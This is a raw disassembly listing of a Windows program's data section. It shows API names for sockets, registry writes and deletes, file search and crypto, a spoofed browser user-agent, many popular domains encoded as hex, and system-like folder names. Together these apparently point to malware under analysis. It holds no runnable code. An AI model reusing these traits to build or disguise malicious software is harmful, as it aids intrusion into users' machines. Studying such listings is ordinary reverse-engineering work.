off_9B8F8D	dd offset loc_9B48CC	; DATA XREF: sub_9B1A08-845r
		align 4
aTasks		db 'Tasks',0            ; DATA XREF: .text:009BA310o
off_9B8F9A	dd offset loc_9B50D0	; DATA XREF: sub_9B4950-49F2r
		align 10h
dword_9B8FA0	dd 626D6172h, 2E72656Ch, 7572h ; DATA XREF: .text:009B9C30o
aMsvcrt		db 'MSVCRT',0           ; DATA XREF: .text:off_9B998Ao
off_9B8FB3	dd offset loc_9B5A9C	; DATA XREF: sub_9ABC20+25r
		align 4
dword_9B8FB8	dd 0FFFFFFFFh, 9ADDA0h,	9AE18Ch	; DATA XREF: .text:off_9B9779o
off_9B8FC4	dd offset loc_9AF58C	; DATA XREF: sub_9AF960+1A05r
off_9B8FC8	dd offset loc_9B5A6C	; DATA XREF: sub_9AEE5C+1965r
off_9B8FCC	dd offset dword_9BA6B4	; DATA XREF: sub_9AD01C+5r
off_9B8FD0	dd offset dword_9B959C	; DATA XREF: sub_9AB1A0+5r
dword_9B8FD4	dd 6E786F66h, 2E737765h, 6D6F63h ; DATA	XREF: .text:009B9B54o
aSend		db 'send',0             ; DATA XREF: .text:off_9B9747o
off_9B8FE5	dd offset loc_9B0498	; DATA XREF: sub_9AEAAC+2CEr
		align 4
dword_9B8FEC	dd 3520544Eh, 312Eh	; DATA XREF: .text:009BAD3Co
aGetfileversion	db 'GetFileVersionInfoSizeA',0 ; DATA XREF: .text:off_9B884Co
off_9B900C	dd offset sub_9AC170	; DATA XREF: sub_9B6078+41r
off_9B9010	dd offset loc_9B01C4	; DATA XREF: sub_9B2C70-5B81r
off_9B9014	dd offset loc_9B2890	; DATA XREF: sub_9B4480-87D0r
off_9B9018	dd offset loc_9B00DC	; DATA XREF: sub_9B5FC0+4Fr
off_9B901C	dd offset loc_9B22D0	; DATA XREF: sub_9B29B0+72r
off_9B9020	dd offset dword_9B958C	; DATA XREF: sub_9AF704+5r
off_9B9024	dd offset dword_9BAA14	; DATA XREF: sub_9B0FD0+5r
aApplicationXMs	db ', application/x-ms-xbap',0 ; DATA XREF: .text:009BA360o
off_9B9040	dd offset loc_9AE71C	; DATA XREF: sub_9ADDA4+35FDr
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: .text:off_9B965Ao
off_9B9052	dd offset sub_9B5228	; DATA XREF: sub_9AEBB8+61r
		align 4
off_9B9058	dd offset dword_9BA8F8	; DATA XREF: sub_9B63D8-1472r
		dd offset dword_9BA8F8
		dd offset aApplicationVnd ; ", application/vnd.ms-xpsdocument"
dword_9B9064	dd 472D6E65h, 42h, 30363034h ; DATA XREF: .text:009B8D0Co
					; .text:009BA820o
		db 37h,	0
off_9B9072	dd offset a__wsafdisset	; DATA XREF: sub_9B0930:loc_9B5594r
					; "__WSAFDIsSet"
off_9B9076	dd offset dword_9BBD2C	; DATA XREF: sub_9AF25C-33F6r
					; sub_9AF25C-2D69r ...
off_9B907A	dd offset aReadfile	; DATA XREF: sub_9B0930:loc_9B0544r
					; "ReadFile"
off_9B907E	dd offset loc_9AC1FC	; DATA XREF: sub_9AE860+2Ar
off_9B9082	dd offset loc_9ACA04	; DATA XREF: sub_9B63D8-DF0r
		align 4
dword_9B9088	dd 72726574h, 6F632E61h, 72622E6Dh ; DATA XREF:	.text:009B9C68o
		db 0
off_9B9095	dd offset dword_9BA6A8	; DATA XREF: sub_9B3D1C+5r
off_9B9099	dd offset sub_9B3984	; DATA XREF: sub_9ADAC4+5873r
off_9B909D	dd offset sub_9ACEE8	; DATA XREF: sub_9B4950+36r
off_9B90A1	dd offset aClosesocket	; DATA XREF: sub_9B0930:loc_9B3A18r
					; "closesocket"
		align 4
aSchemas	db 'schemas',0          ; DATA XREF: .text:009BA2F0o
aZshare_net	db 'zshare.net',0       ; DATA XREF: .text:009B9CDCo
		align 4
off_9B90BC	dd offset a1_		; DATA XREF: sub_9AF5E4-1E8Cr
					; "1."
		dd offset byte_9B8DDC
		dd offset dword_9BA640
dword_9B90C8	dd 70676962h, 746E696Fh, 6D6F632Eh ; DATA XREF:	.text:009B9AF0o
		db 0
off_9B90D5	dd offset loc_9B1EDC	; DATA XREF: sub_9B1D80-2BA6r
off_9B90D9	dd offset dword_9B99C4	; DATA XREF: sub_9B1A08+5r
off_9B90DD	dd offset dword_9BA3B4	; DATA XREF: sub_9B4610+5r
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: .text:off_9B98E6o
		align 10h
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: .text:009B9CC0o
aClosesocket	db 'closesocket',0      ; DATA XREF: .text:off_9B90A1o
aMail		db 'Mail',0             ; DATA XREF: .text:009BA274o
		align 10h
aCreateeventa	db 'CreateEventA',0     ; DATA XREF: sub_9B0930:loc_9B4898o
off_9B911D	dd offset loc_9B35CC	; DATA XREF: sub_9B4610-610Er
off_9B9121	dd offset dword_9BAF30	; DATA XREF: sub_9AFF64+5r
		align 4
dword_9B9128	dd 6C6C6564h, 6D6F632Eh, 0 ; DATA XREF:	.text:009B9B10o
aHelp_0		db 'Help',0             ; DATA XREF: .text:009BA240o
off_9B9139	dd offset loc_9AF76C	; DATA XREF: sub_9B3864-724Cr
		align 10h
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: .text:off_9BA3D4o
off_9B9151	dd offset loc_9AC7A8	; DATA XREF: sub_9B04A8+3EBBr
		align 4
dword_9B9158	dd 6464697Ah, 6F632E75h, 6Dh ; DATA XREF: .text:009B9CD8o
aVarfileinfoTra	db '\VarFileInfo\Translation',0 ; DATA XREF: .text:off_9B8E55o
		align 10h
aLivejournal_co	db 'livejournal.com',0  ; DATA XREF: .text:009B9BACo
aCreatethread	db 'CreateThread',0     ; DATA XREF: sub_9B0930:loc_9B505Co
		align 10h
aWritefile	db 'WriteFile',0        ; DATA XREF: .text:off_9B87D8o
off_9B91AA	dd offset loc_9AD898	; DATA XREF: sub_9B1A08-426Cr
off_9B91AE	dd offset dword_9B97A4	; DATA XREF: sub_9AFB1C+5r
off_9B91B2	dd offset loc_9B3600	; DATA XREF: sub_9AF030+60r
		align 4
dword_9B91B8	dd 3620544Eh, 302Eh, 6978696Dh,	706A2Eh	; DATA XREF: .text:009BAD40o
					; .text:009B9BD8o
off_9B91C8	dd offset loc_9B1104	; DATA XREF: sub_9B57B4-8FB9r
off_9B91CC	dd offset loc_9B4D80	; DATA XREF: sub_9AC6DC-2EFr
off_9B91D0	dd offset loc_9B4078	; DATA XREF: sub_9B43F4-629r
off_9B91D4	dd offset aGetfileversi_0 ; DATA XREF: sub_9B0930:loc_9B08FCr
					; "GetFileVersionInfoA"
dword_9B91D8	dd 552D6E65h, 53h	; DATA XREF: .text:off_9B8D00o
					; .text:009B8D04o ...
dword_9B91E0	dd 0FFFFFFFFh, 9B2980h,	9AD4E8h	; DATA XREF: .text:off_9B8F2Do
off_9B91EC	dd offset dword_9BBD34	; DATA XREF: sub_9B14CC+2Dr
aConnect	db 'connect',0          ; DATA XREF: .text:off_9B9717o
aRediff_com	db 'rediff.com',0       ; DATA XREF: .text:009B9C38o
off_9B9203	dd offset aGettickcount	; DATA XREF: sub_9B0930:loc_9B0630r
					; "GetTickCount"
off_9B9207	dd offset aMicrosoftBaseC ; DATA XREF: sub_9B57B4:loc_9AC7E4r
					; "Microsoft Base Cryptographic	Provider v"...
off_9B920B	dd offset loc_9B4B5C	; DATA XREF: sub_9B19D8-3A66r
off_9B920F	dd offset dword_9BA9A8	; DATA XREF: sub_9ACF9C+5r
		align 4
dword_9B9214	dd 74756F79h, 2E656275h, 6D6F63h ; DATA	XREF: .text:009B9CD0o
off_9B9220	dd offset aGlobalfree	; DATA XREF: sub_9B0930:loc_9AE508r
					; "GlobalFree"
off_9B9224	dd offset aAccept	; DATA XREF: sub_9B0930:loc_9ADC44r
					; "accept"
aIntel		db 'Intel',0            ; DATA XREF: .text:009BA250o
off_9B922E	dd offset dword_9BADB8	; DATA XREF: sub_9ADDA4+5r
		align 4
dword_9B9234	dd 0FFFFFFFFh, 9B2E8Ch,	9AE8B0h	; DATA XREF: .text:off_9BA113o
off_9B9240	dd offset loc_9AE804	; DATA XREF: sub_9B1A08-325r
aWs2_32		db 'WS2_32',0           ; DATA XREF: .text:off_9B9A8Fo
		align 4
aMywebsearch_co	db 'mywebsearch.com',0  ; DATA XREF: .text:009B9BE8o
off_9B925C	dd offset loc_9AE2D8	; DATA XREF: sub_9B1D80+FFCr
off_9B9260	dd offset loc_9B52A8	; DATA XREF: sub_9B3864-4054r
off_9B9264	dd offset loc_9AD774	; DATA XREF: sub_9AC250+5137r
off_9B9268	dd offset loc_9AB068	; DATA XREF: sub_9B4950-8E06r
off_9B926C	dd offset loc_9B355C	; DATA XREF: sub_9ABF08+47r
off_9B9270	dd offset byte_9BAB6C	; DATA XREF: sub_9ACEE8+264Br
aReports	db 'Reports',0          ; DATA XREF: .text:009BA2E8o
off_9B927C	dd offset loc_9B3078	; DATA XREF: sub_9B0930+260r
off_9B9280	dd offset loc_9B169C	; DATA XREF: sub_9B1A08+1D79r
dword_9B9284	dd 65627574h, 6F632E38h, 6Dh, 6D616878h, 72657473h, 6D6F632Eh
					; DATA XREF: .text:009B9C80o
					; .text:009B9CB0o
		dd 0
dword_9B92A0	dd 6576616Eh, 6F632E72h	; DATA XREF: .text:009B9BF0o
		db 6Dh,	0
off_9B92AA	dd offset loc_9ADCC8	; DATA XREF: sub_9AB1A0+A73Er
		align 10h
dword_9B92B0	dd 0FFFFFFFFh, 9AE184h,	9AF000h	; DATA XREF: .text:off_9B99ABo
off_9B92BC	dd offset loc_9B3804	; DATA XREF: sub_9B2830+1AF8r
aTribalfusion_c	db 'tribalfusion.com',0 ; DATA XREF: .text:009B9C7Co
off_9B92D1	dd offset loc_9B5E5C	; DATA XREF: sub_9ADAC4+8872r
off_9B92D5	dd offset loc_9B000C	; DATA XREF: sub_9B0930+1730r
off_9B92D9	dd offset loc_9B2AB4	; DATA XREF: .text:009B20ABr
		align 10h
aOffline	db 'Offline',0          ; DATA XREF: .text:009BA2A4o
aOptions	db 'Options',0          ; DATA XREF: .text:009BA2A8o
off_9B92F0	dd offset aVirtualalloc	; DATA XREF: sub_9B0930:loc_9B188Cr
					; "VirtualAlloc"
off_9B92F4	dd offset loc_9ACD44	; DATA XREF: sub_9AEC20-34F4r
off_9B92F8	dd offset dword_9BAAB0	; DATA XREF: sub_9AEC20+5r
off_9B92FC	dd offset aWsasocketa	; DATA XREF: sub_9B0930:loc_9AC588r
					; "WSASocketA"
off_9B9300	dd offset loc_9AF990	; DATA XREF: sub_9B1A08-28E3r
dword_9B9304	dd 0FFFFFFFFh, 9AF850h,	9B06E8h, 6F72616Eh, 75722E64h
					; DATA XREF: .text:off_9B8ED6o
					; .text:009B9BECo
		dd 0
aGetversionexa	db 'GetVersionExA',0    ; DATA XREF: .text:off_9BADECo
		align 4
aFindclose	db 'FindClose',0        ; DATA XREF: .text:off_9B8EA4o
off_9B9336	dd offset loc_9B13E4	; DATA XREF: sub_9B3864-1191r
off_9B933A	dd offset aGettemppatha	; DATA XREF: sub_9B0930:loc_9B0A64r
					; "GetTempPathA"
off_9B933E	dd offset aSetfilepointer ; DATA XREF: sub_9B0930:loc_9B0E28r
					; "SetFilePointer"
off_9B9342	dd offset loc_9B4ACC	; DATA XREF: sub_9B3864-5595r
off_9B9346	dd offset aRecv		; DATA XREF: sub_9B0930:loc_9B1C5Cr
					; "recv"
		align 4
dword_9B934C	dd 65767968h, 6C6E2E73h	; DATA XREF: .text:009B9B78o
		db 0
off_9B9355	dd offset loc_9B504C	; DATA XREF: sub_9B037C-49BDr
		align 4
aSleep_0	db 'Sleep',0            ; DATA XREF: .text:off_9BA344o
		align 4
dword_9B9364	dd 0FFFFFFFFh, 9B3DD4h,	9AC730h	; DATA XREF: .text:off_9BB021o
byte_9B9370	db 39h,	38h, 0		; DATA XREF: .text:off_9BAD2Co
off_9B9373	dd offset loc_9AE7D4	; DATA XREF: sub_9AFB1C+35r
		align 4
dword_9B9378	dd 6F616978h, 2E69656Eh, 6D6F63h ; DATA	XREF: .text:009B9CB4o
off_9B9384	dd offset loc_9B25BC	; DATA XREF: sub_9B5904-E4Er
off_9B9388	dd offset loc_9B457C	; DATA XREF: sub_9B4950-21C6r
off_9B938C	dd offset loc_9ACD50	; DATA XREF: sub_9AB1A0+38B5r
aProfiles	db 'Profiles',0         ; DATA XREF: .text:009BA2D0o
off_9B9399	dd offset loc_9AB080	; DATA XREF: sub_9B1D80-3A98r
		align 10h
byte_9B93A0	db 35h,	2Eh, 0		; DATA XREF: .text:009BA434o
off_9B93A3	dd offset dword_9BA0C8	; DATA XREF: sub_9ABC20+5r
off_9B93A7	dd offset loc_9AF110	; DATA XREF: sub_9B1A08-22Br
off_9B93AB	dd offset loc_9AB8E0	; DATA XREF: sub_9ADAC4+413Dr
off_9B93AF	dd offset loc_9AEDFC	; DATA XREF: sub_9ABA3C+4CA5r
		align 4
word_9B93B4	dw 5Ch			; DATA XREF: sub_9B611C:loc_9AB944r
					; sub_9B4CF4:loc_9AFEC0r
		align 4
aBind		db 'bind',0             ; DATA XREF: .text:off_9B9738o
		align 10h
a1_		db '1.',0               ; DATA XREF: .text:off_9B90BCo
					; .text:009BA430o
		align 4
aComponents	db 'Components',0       ; DATA XREF: .text:009BA1FCo
		align 10h
aWinsxs		db 'winsxs',0           ; DATA XREF: .text:009BA334o
off_9B93D7	dd offset aRegcreatekeyex ; DATA XREF: sub_9B0930:loc_9ACBE4r
					; "RegCreateKeyExA"
off_9B93DB	dd offset dword_9BAEE0	; DATA XREF: sub_9B0930+5r
off_9B93DF	dd offset loc_9AADB0	; DATA XREF: sub_9AC6A0+87F1r
		align 4
aCursors	db 'Cursors',0          ; DATA XREF: .text:009BA200o
dword_9B93EC	dd 0FFFFFFFFh, 9ADFF0h,	9AF9C0h, 626F6461h, 6F632E65h
					; DATA XREF: sub_9B3FF8+5o
					; .text:009B9AA0o
		db 6Dh,	0
off_9B9402	dd offset loc_9AE8E0	; DATA XREF: sub_9ABADC-B1Dr
		align 4
aBoot_0		db 'Boot',0             ; DATA XREF: .text:009BA1E8o
		align 10h
aNew		db 'New',0              ; DATA XREF: .text:009BA29Co
off_9B9414	dd offset loc_9AE794	; DATA XREF: sub_9B43F4-373r
aGetmodulehandl	db 'GetModuleHandleA',0 ; DATA XREF: .text:off_9BAFA7o
off_9B9429	dd offset loc_9B3E00	; DATA XREF: sub_9B0930+4Cr
off_9B942D	dd offset loc_9B5188	; DATA XREF: sub_9B04A8+11r
		align 4
aGetlasterror	db 'GetLastError',0     ; DATA XREF: .text:off_9BA160o
off_9B9441	dd offset loc_9AD224	; DATA XREF: sub_9B04A8-2F6Dr
off_9B9445	dd offset aExitthread	; DATA XREF: sub_9B0930:loc_9AB0D8r
					; "ExitThread"
off_9B9449	dd offset loc_9B374C	; DATA XREF: sub_9B3EFC-6825r
off_9B944D	dd offset loc_9AC640	; DATA XREF: sub_9B1F68+2927r
		align 4
dword_9B9454	dd 63696C63h, 726F736Bh, 6D6F632Eh ; DATA XREF:	.text:009B9AF8o
		db 0
off_9B9461	dd offset loc_9B3F44	; DATA XREF: sub_9AC6DC+9ACAr
		align 4
word_9B9468	dw 29h			; DATA XREF: sub_9B27D8:loc_9B0F40r
off_9B946A	dd offset dword_9B9904	; DATA XREF: sub_9B6504+5r
off_9B946E	dd offset sub_9B4950	; DATA XREF: sub_9B1584-2763r
		align 4
dword_9B9474	dd 2D72662Ch, 713B4143h, 352E303Dh ; DATA XREF:	.text:009BA498o
		db 0
off_9B9481	dd offset dword_9BABD0	; DATA XREF: sub_9B4950+5r
off_9B9485	dd offset loc_9B32C4	; DATA XREF: sub_9B4950-12D8r
		align 4
aExitthread	db 'ExitThread',0       ; DATA XREF: .text:off_9B9445o
		align 4
dword_9B9498	dd 0FFFFFFFFh, 9AB760h,	9B3358h	; DATA XREF: .text:off_9BA5ECo
aContentLength	db 0Dh,0Ah		; DATA XREF: .text:off_9BA16Co
		db 'Content-Length: ',0
off_9B94B7	dd offset loc_9B0D78	; DATA XREF: sub_9B3864-5020r
off_9B94BB	dd offset dword_9BADE0	; DATA XREF: .text:009AFBBDr
		align 10h
aInter		db 'Inter',0            ; DATA XREF: .text:009BA254o
		align 4
aAdsrevenue_net	db 'adsrevenue.net',0   ; DATA XREF: .text:009B9AA4o
off_9B94D7	dd offset dword_9BF3A0	; DATA XREF: sub_9AD2B8+7r
					; sub_9ADCEC+34r ...
off_9B94DB	dd offset aNtohl	; DATA XREF: sub_9B0930:loc_9AD0A4r
					; "ntohl"
		align 10h
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_9B0930:loc_9AE490o
off_9B94F0	dd offset loc_9AF0B8	; DATA XREF: sub_9B3408-65E4r
off_9B94F4	dd offset loc_9AE444	; DATA XREF: sub_9B3FF8-3D36r
off_9B94F8	dd offset dword_9B9EB4	; DATA XREF: sub_9B3A74+5r
off_9B94FC	dd offset aSoftwareMicros ; DATA XREF: sub_9AC170:loc_9B5A4Cr
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
dword_9B9500	dd 6C69616Dh, 75722Eh, 53324Ch ; DATA XREF: .text:009B9BB0o
					; .text:009BA268o
aDeletefilea	db 'DeleteFileA',0      ; DATA XREF: .text:off_9BAB68o
off_9B9518	dd offset loc_9B5454	; DATA XREF: sub_9B4CF4-2019r
aFiles_wordpres	db 'files.wordpress.com',0 ; DATA XREF: .text:009B9B48o
off_9B9530	dd offset aCryptacquireco ; DATA XREF: sub_9B0930:loc_9B1714r
					; "CryptAcquireContextA"
off_9B9534	dd offset loc_9B2C44	; DATA XREF: sub_9AF704+2Dr
dword_9B9538	dd 64696162h, 6F632E75h, 6Dh, 796E6974h, 2E636970h, 6D6F63h
					; DATA XREF: .text:009B9AE0o
					; .text:009B9C74o
off_9B9550	dd offset loc_9AAE14	; DATA XREF: sub_9B0930-2385r
a3705		db '3705',0             ; DATA XREF: .text:009BA808o
off_9B9559	dd offset loc_9B3110	; DATA XREF: sub_9ADAC4-464r
off_9B955D	dd offset aFindnextfilea ; DATA	XREF: sub_9B0930:loc_9B480Cr
					; "FindNextFileA"
		align 4
dword_9B9564	dd 302E36h		; DATA XREF: .text:009B9A7Co
off_9B9568	dd offset loc_9ACED0	; DATA XREF: sub_9B3864-475Cr
off_9B956C	dd offset loc_9B4ABC	; DATA XREF: sub_9B4610-3B3Cr
aRecv		db 'recv',0             ; DATA XREF: .text:off_9B9346o
off_9B9575	dd offset loc_9B28F0	; DATA XREF: sub_9AFB1C+62AFr
off_9B9579	dd offset loc_9ADFF4	; DATA XREF: sub_9AEE5C+Ar
		align 10h
dword_9B9580	dd 0FFFFFFFFh, 9AE354h,	9AC138h	; DATA XREF: .text:off_9BAFDFo
dword_9B958C	dd 0FFFFFFFFh, 9B4A78h,	9B4CD0h	; DATA XREF: .text:off_9B9020o
off_9B9598	dd offset loc_9AB474	; DATA XREF: sub_9AF25C+33CEr
dword_9B959C	dd 0FFFFFFFFh, 9B257Ch,	9AFE6Ch, 0FFFFFFFFh, 9B2CACh, 9B11E8h
					; DATA XREF: .text:off_9B8FD0o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible; MSIE ',0 ; DATA XREF: .text:off_9B89EFo
off_9B95D3	dd offset loc_9B1278	; DATA XREF: sub_9B63D8-99B9r
		align 4
dword_9B95D8	dd 0FFFFFFFFh, 9ABD5Ch,	9B0348h, 79616265h, 74692Eh, 65746E49h
					; DATA XREF: .text:off_9BACA4o
					; .text:009B9B34o
		dd 74656E72h, 0
aMicrosoft_0	db 'Microsoft',0        ; DATA XREF: .text:009BA280o
		align 4
dword_9B9604	dd 88804427h		; DATA XREF: sub_9B3EFC+18r
		dd 644B0h, 0
		dd 80003FF0h, 0
		dd 83FF8000h, 80000020h, 0FFFFFFFFh
off_9B9624	dd offset loc_9B0B64	; DATA XREF: sub_9B0930+1A61r
aNtohl		db 'ntohl',0            ; DATA XREF: .text:off_9B94DBo
off_9B962E	dd offset loc_9AC93C	; DATA XREF: sub_9B161C+DDr
off_9B9632	dd offset dword_9BCB9C	; DATA XREF: sub_9B022C+Br
					; sub_9B0FD0+31r ...
		align 4
dword_9B9638	dd 67676964h, 6D6F632Eh	; DATA XREF: .text:009B9B18o
		db 0
off_9B9641	dd offset loc_9B4590	; DATA XREF: sub_9B2830+2324r
off_9B9645	dd offset dword_9BA70C	; DATA XREF: sub_9B63D8-99C9r
		align 4
dword_9B964C	dd 6B6E696Ch, 6B637562h, 6F632E73h ; DATA XREF:	.text:009B9B98o
		db 6Dh,	0
off_9B965A	dd offset aRegopenkeyexa ; DATA	XREF: sub_9B0930:loc_9AE35Cr
					; "RegOpenKeyExA"
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: .text:off_9B9072o
		align 10h
off_9B9670	dd offset dword_9BA8F8	; DATA XREF: sub_9B63D8-145Br
		dd offset dword_9BA8F8
		dd offset aApplicationX_0 ; ", application/x-ms-application"
dword_9B967C	dd 62646D69h, 6D6F632Eh, 0 ; DATA XREF:	.text:009B9B88o
aMemmove	db 'memmove',0          ; DATA XREF: .text:off_9B8E7Do
aTagged_com	db 'tagged.com',0       ; DATA XREF: .text:009B9C60o
off_9B969B	dd offset aAdvapi32	; DATA XREF: sub_9B0930-40EFr
					; "ADVAPI32"
off_9B969F	dd offset loc_9B0544	; DATA XREF: sub_9B0930+5796r
off_9B96A3	dd offset loc_9AE298	; DATA XREF: sub_9B649C-2343r
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: .text:off_9B9A6Ao
off_9B96B7	dd offset loc_9B1BC0	; DATA XREF: sub_9B0930-4813r
off_9B96BB	dd offset dword_9B8890	; DATA XREF: sub_9ABF08+5r
		align 10h
dword_9B96C0	dd 2E61626Eh, 6D6F63h	; DATA XREF: .text:009B9BF4o
off_9B96C8	dd offset loc_9B5D7C	; DATA XREF: sub_9B3864-5E63r
dword_9B96CC	dd 2E6E736Dh, 6D6F63h	; DATA XREF: .text:009B9BDCo
off_9B96D4	dd offset loc_9B323C	; DATA XREF: sub_9B1B20-D5Fr
off_9B96D8	dd offset loc_9AD1F8	; DATA XREF: sub_9AD11C+2967r
off_9B96DC	dd offset dword_9BA9D8	; DATA XREF: sub_9AEAAC+5r
off_9B96E0	dd offset sub_9B611C	; DATA XREF: sub_9B6078-613r
off_9B96E4	dd offset loc_9AEA14	; DATA XREF: sub_9ACEE8+2682r
off_9B96E8	dd offset loc_9AF430	; DATA XREF: sub_9B3864-2ADDr
off_9B96EC	dd offset loc_9B2DA0	; DATA XREF: sub_9ADAC4-21C8r
off_9B96F0	dd offset loc_9B4124	; DATA XREF: sub_9AC32C+F6Er
aFindfirstfilea	db 'FindFirstFileA',0   ; DATA XREF: .text:off_9BAD70o
off_9B9703	dd offset loc_9B41F0	; DATA XREF: sub_9B0734+1Er
off_9B9707	dd offset loc_9AE0FC	; DATA XREF: sub_9B0930-1637r
off_9B970B	dd offset loc_9B1BF8	; DATA XREF: sub_9ADAC4+73FCr
off_9B970F	dd offset loc_9B0B14	; DATA XREF: sub_9B18F8+1Fr
off_9B9713	dd offset loc_9B3754	; DATA XREF: sub_9B3408-7CB0r
off_9B9717	dd offset aConnect	; DATA XREF: sub_9B0930:loc_9ADEACr
					; "connect"
off_9B971B	dd offset dword_9BAE70	; DATA XREF: sub_9B1D80+5r
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: .text:off_9B99B9o
off_9B9730	dd offset aSetfileattribu ; DATA XREF: sub_9B0930:loc_9AB974r
					; "SetFileAttributesA"
dword_9B9734	dd 666E69h		; DATA XREF: .text:009BA248o
off_9B9738	dd offset aBind		; DATA XREF: sub_9B0930:loc_9B245Cr
					; "bind"
dword_9B973C	dd 676F6C62h, 632E6166h	; DATA XREF: .text:009B9AF4o
		db 6Fh,	6Dh, 0
off_9B9747	dd offset aSend		; DATA XREF: sub_9B0930:loc_9AE150r
					; "send"
off_9B974B	dd offset loc_9ADBB0	; DATA XREF: sub_9B3EFC+25r
off_9B974F	dd offset loc_9B3B8C	; DATA XREF: sub_9AC6DC+4Dr
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: .text:off_9BAD5Do
off_9B975D	dd offset loc_9AFF18	; DATA XREF: sub_9B5904-1569r
		align 4
dword_9B9764	dd 6576696Ch, 726F6F64h, 6D6F632Eh ; DATA XREF:	.text:009B9BA4o
		db 0
off_9B9771	dd offset dword_9BAF40	; DATA XREF: sub_9B4480+5r
off_9B9775	dd offset loc_9B5690	; DATA XREF: sub_9B03E8+3596r
off_9B9779	dd offset dword_9B8FB8	; DATA XREF: sub_9B6264+5r
off_9B977D	dd offset aSocket	; DATA XREF: sub_9B0930:loc_9B2068r
					; "socket"
off_9B9781	dd offset loc_9AD4D0	; DATA XREF: sub_9B6504-5B7r
off_9B9785	dd offset loc_9ADB90	; DATA XREF: sub_9B1A08-5674r
		align 4
aKernel		db 'Kernel',0           ; DATA XREF: .text:009BA264o
off_9B9793	dd offset loc_9AE674	; DATA XREF: sub_9B3FF8+3Er
off_9B9797	dd offset loc_9B5D88	; DATA XREF: sub_9ABD30+21DCr
off_9B979B	dd offset aGetversion	; DATA XREF: sub_9B0930:loc_9AC4B0r
					; "GetVersion"
off_9B979F	dd offset loc_9B60D4	; DATA XREF: sub_9B1334+8r
		align 4
dword_9B97A4	dd 0FFFFFFFFh, 9B45E0h,	9B02C8h, 6B636150h, 73656761h
					; DATA XREF: .text:off_9B91AEo
					; .text:009BA2ACo
		db 0
off_9B97B9	dd offset loc_9B143C	; DATA XREF: sub_9AB1A0+2B22r
off_9B97BD	dd offset dword_9BA954	; DATA XREF: sub_9B649C+5r
off_9B97C1	dd offset aGetwindowsdire ; DATA XREF: sub_9B0930:loc_9AF6D0r
					; "GetWindowsDirectoryA"
off_9B97C5	dd offset sub_9B19D8	; DATA XREF: sub_9ACA48+93BBr
		align 4
dword_9B97CC	dd 6B6E696Ch, 6E696465h, 6D6F632Eh ; DATA XREF:	.text:009B9B9Co
		db 0
off_9B97D9	dd offset loc_9AD968	; DATA XREF: sub_9B0930+2469r
off_9B97DD	dd offset dword_9BBE58	; DATA XREF: sub_9AB11C+18r
					; sub_9B27D8-749Cr ...
off_9B97E1	dd offset loc_9B59F0	; DATA XREF: sub_9B1A08-4576r
off_9B97E5	dd offset aSelect	; DATA XREF: sub_9B0930:loc_9B0984r
					; "select"
		align 4
dword_9B97EC	dd 7869616Bh, 30306E69h, 6F632E31h ; DATA XREF:	.text:009B9B90o
		db 6Dh,	0
off_9B97FA	dd offset loc_9B182C	; DATA XREF: sub_9AC6DC+35AEr
		align 10h
aVerqueryvaluea	db 'VerQueryValueA',0   ; DATA XREF: .text:off_9B8949o
off_9B980F	dd offset loc_9ABB88	; DATA XREF: sub_9B0930-49A5r
		align 4
aCryptgenrandom	db 'CryptGenRandom',0   ; DATA XREF: .text:off_9BA7FEo
off_9B9823	dd offset loc_9ACFE0	; DATA XREF: sub_9B63D8-3992r
off_9B9827	dd offset aGetpeername	; DATA XREF: sub_9B0930:loc_9B5780r
					; "getpeername"
off_9B982B	dd offset loc_9AE3C4	; DATA XREF: sub_9B1584-274Br
		align 10h
a04506		db '04506',0            ; DATA XREF: .text:009BA814o
		align 4
aPla		db 'PLA',0              ; DATA XREF: .text:009BA2C0o
off_9B983C	dd offset aSetevent	; DATA XREF: sub_9B0930:loc_9B23C0r
					; "SetEvent"
off_9B9840	dd offset loc_9B2DEC	; DATA XREF: sub_9B63D8-7BA5r
off_9B9844	dd offset dword_9BBE3C	; DATA XREF: sub_9AF25C-2D5Er
					; sub_9AEC20:loc_9AC8A8r ...
off_9B9848	dd offset aHtonl	; DATA XREF: sub_9B0930:loc_9B3E44r
					; "htonl"
off_9B984C	dd offset dword_9BA37C	; DATA XREF: sub_9ACEE8+5r
dword_9B9850	dd 0FFFFFFFFh, 9B1958h,	9B62D4h	; DATA XREF: .text:off_9B992Ao
off_9B985C	dd offset dword_9BCBCC	; DATA XREF: sub_9B3B1C:loc_9AC0C4r
					; sub_9B3B1C-7A44r ...
off_9B9860	dd offset loc_9B43A4	; DATA XREF: .text:009B11ADr
off_9B9864	dd offset loc_9AF228	; DATA XREF: sub_9B4610-1030r
off_9B9868	dd offset sub_9B082C	; DATA XREF: sub_9B27D8-5110r
dword_9B986C	dd 65666572h, 636E6572h, 6F632E65h ; DATA XREF:	.text:009B9C3Co
		db 6Dh,	0
off_9B987A	dd offset loc_9B5DA0	; DATA XREF: sub_9B174C+285Ar
		align 10h
aApplicationXam	db ', application/xaml+xml',0 ; DATA XREF: .text:009B99D8o
off_9B9897	dd offset loc_9B574C	; DATA XREF: sub_9B0930+55AAr
off_9B989B	dd offset dword_9BCBB4	; DATA XREF: sub_9AD01C+45r
					; sub_9B3B1C+40r
off_9B989F	dd offset loc_9AFB08	; DATA XREF: sub_9B4FD0-4529r
off_9B98A3	dd offset loc_9ADEE0	; DATA XREF: sub_9B3864+2C32r
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: .text:off_9B92FCo
		align 4
aMegaporn_com	db 'megaporn.com',0     ; DATA XREF: .text:009B9BC0o
off_9B98C1	dd offset dword_9BCB90	; DATA XREF: .text:009B0608r
					; sub_9B1584+3Br
		align 4
dword_9B98C8	dd 61440A0Dh, 203A6574h	; DATA XREF: .text:off_9B8DB6o
		db 0
off_9B98D1	dd offset aSystemtimetofi ; DATA XREF: sub_9B0930:loc_9AF44Cr
					; "SystemTimeToFileTime"
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: .text:off_9B8E81o
